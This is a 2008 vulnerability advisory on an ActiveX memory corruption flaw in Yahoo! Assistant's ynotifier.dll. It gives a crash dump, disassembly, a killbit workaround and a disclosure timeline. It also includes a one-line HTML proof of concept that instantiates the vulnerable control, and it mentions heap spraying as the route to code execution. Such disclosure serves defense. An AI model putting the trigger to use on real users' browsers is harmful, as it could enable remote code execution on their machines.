Yahoo! Assistant (3721) ActiveX Remote Code Execution Vulnerability<br><br><br>By Sowhat of Nevis Labs<br>Date: 2008.05.06<br><br><a href="http://www.nevisnetworks.com">http://www.nevisnetworks.com</a><br><a href="http://secway.org/advisory/AD20080506EN.txt">http://secway.org/advisory/AD20080506EN.txt</a><br>
<a href="http://secway.org/advisory/AD20080506CN.txt">http://secway.org/advisory/AD20080506CN.txt</a><br><br>CVE: N/A<br><br>Vendor<br>Yahoo! CN<br><br>Affected:<br>Yahoo! Assistant<=3.6<br><br><br>Overview:<br>Yahoo! Assistant, formerly named 3721 Internet Assistant, is a Browser <br>
Helper Object for Internet Explorer. It was renamed to Yahoo! Assistant<br>after Beijing 3721 Technology was acquired by Yahoo!.<br><br>Yahoo! Assistant includes a lot of useful features, such as IE setting<br>repair, security shield, removal of internet history information and <br>
blocking ads.<br><a href="http://cn.zs.yahoo.com/">http://cn.zs.yahoo.com/</a><br><br><br><br>Details:<br><br>The specific flaws exists in the ynotifier.dll ActiveX control.<br>Succssfully exploiting this vulnerability allows attackers to execute<br>
arbitrary code on vulnerable installation.<br>Successful exploitation requires that the target user browse to a <br>malicious web page.<br><br>During the instantiation of the Ynoifier COM object through IE, there<br>will an exploitable memory corruption condition.<br>
<br>(c78.fa0): Access violation - code c0000005 (first chance)<br>First chance exceptions are reported before any exception handling.<br>This exception may be expected and handled.<br>eax=00e85328 ebx=001ada20 ecx=4080624c edx=00128474 esi=020cb5f0 edi=00000000<br>
eip=43f50743 esp=001283e0 ebp=00128478 iopl=0 nv up ei pl zr na po nc<br>cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010246<br>43f50743 ?? ???<br><br>Code:<br>637a8b47 8b45f8 mov eax,[ebp-0x8]<br>
637a8b4a 8b08 mov ecx,[eax]<br>637a8b4c 8d55fc lea edx,[ebp-0x4]<br>637a8b4f 52 push edx<br>637a8b50 6a01 push 0x1<br>637a8b52 50 push eax<br>
637a8b53 ff5158 call dword ptr [ecx+0x58] ; ds:0023:408062a4=43f50743<br><br>The virutal function call at 0x58 is pointed to invalid data.<br><br>By taking advantage of some heap spraying technique, the attacker can exploit<br>
this vulnerability to execute arbitrary code.<br><br><br>Proof of Concept:<br>The POC for this vulnerability is quite simple, save the following code as HTML:<br><br><object classid='clsid:2283BB66-A15D-4AC8-BA72-9C8C9F5A1691'><br>
<br><br>Workaround:<br>Set a killbit for this ActiveX.<br><br><br><br>Vendor Response:<br><br>2008.04.23 Vendor notified via email<br>2008.04.23 Vendor response, developing for patch<br>2008.04.23 Patch developed, details was held because vendor asked for 1 week<br>
to (silently ;) push the patch.<br>2008.05.06 Advisory released<br><br clear="all"><br>-- <br>Sowhat<br><a href="http://secway.org">http://secway.org</a><br>"Life is like a bug, Do you know how to exploit it ?"<br>
<br>